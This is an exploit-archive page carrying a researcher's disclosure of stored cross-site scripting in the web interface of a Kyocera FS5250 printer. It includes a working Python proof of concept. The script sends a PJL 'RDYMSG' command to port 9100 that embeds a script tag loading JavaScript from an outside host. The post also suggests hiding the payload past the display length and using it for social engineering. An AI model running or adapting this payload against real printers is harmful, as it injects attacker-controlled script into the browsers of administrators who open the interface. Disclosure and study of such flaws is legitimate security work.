what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Kyocera FS5250 Cross Site Scripting

Kyocera FS5250 Cross Site Scripting
Posted Apr 2, 2014
Authored by Jeff Sergeant

The Kyocera FS5250 printer suffers from a cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | e975fa501f2382287ddafe16e11342fa8788d46be35d2169b1af61ad71e056ae

Kyocera FS5250 Cross Site Scripting

Change Mirror Download
Found the below on a printer a couple of years ago, sent to Kyocera but
never heard anything back...

Changing the 'Ready' message on a printer is quite a well known prank (And
much fun was had with this yesterday!) but also an interesting avenue for
injecting XSS, as the Kyocera printer management interface plays the
status message back without any filtering.

It's quite a fun little hack! Not having a Kyocera any more I can't test
it further, or whether it's now fixed, but it worked pretty consistently at
the time. Might work in other makes/models of printers; please let me know
on here if you find any!

As the status message on printers is pretty well trusted; injecting into
it causes side effects in all sorts of things, I leave it up to the reader
to find other bits of software that capture these and replay them to users
unfiltered!

Python POC, sorry if the formatting gets mangled, first time posting code
to mailman:
##############################
# Date: 30/07/2012
# Semi*-persistent XSS in Kyocera web interface; tested on FS-C5250DN, may
work on other models.
#
# 1. The message currently on the printer's LCD is shown on the web
interface, unfiltered.
# 2. We can change this message using PJL commands
# 1+2 == xss
# for extra fun, the message can be longer than the display, so you can
hide your XSS :)
#
# *This resets on reboot, but how often do people reboot their printers?
#
##############################
import socket
HOST='10.0.0.1'
PORT=9100
#OPMSG Pauses the printer until the users goes and mashes the buttons,
useful for social engineering in theory, could never get this to work
consistently in practice.
#RDYMSG Persists until reboot
#base="@PJL OPMSG DISPLAY=\""

base="@PJL RDYMSG DISPLAY=\""
message="Ready "
xss="<script src=http://ha.ckers.org/xss.js />"
payload= base + message + xss + "\"\n\r"

print payload

s = None
for res in socket.getaddrinfo(HOST, PORT, socket.AF_UNSPEC,
socket.SOCK_STREAM):
af, socktype, proto, canonname, sa = res
try:
s = socket.socket(af, socktype, proto)
except socket.error, msg:
s = None
continue
try:
s.connect(sa)
except socket.error, msg:
s.close()
s = None
continue
break
if s is None:
print 'could not open socket'
sys.exit(1)
s.sendall(payload)
s.close()
#Visit 10.0.0.1 now, and you'll get your xss back.


Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    38 Files
  • 24
    Sep 24th
    65 Files
  • 25
    Sep 25th
    24 Files
  • 26
    Sep 26th
    26 Files
  • 27
    Sep 27th
    39 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close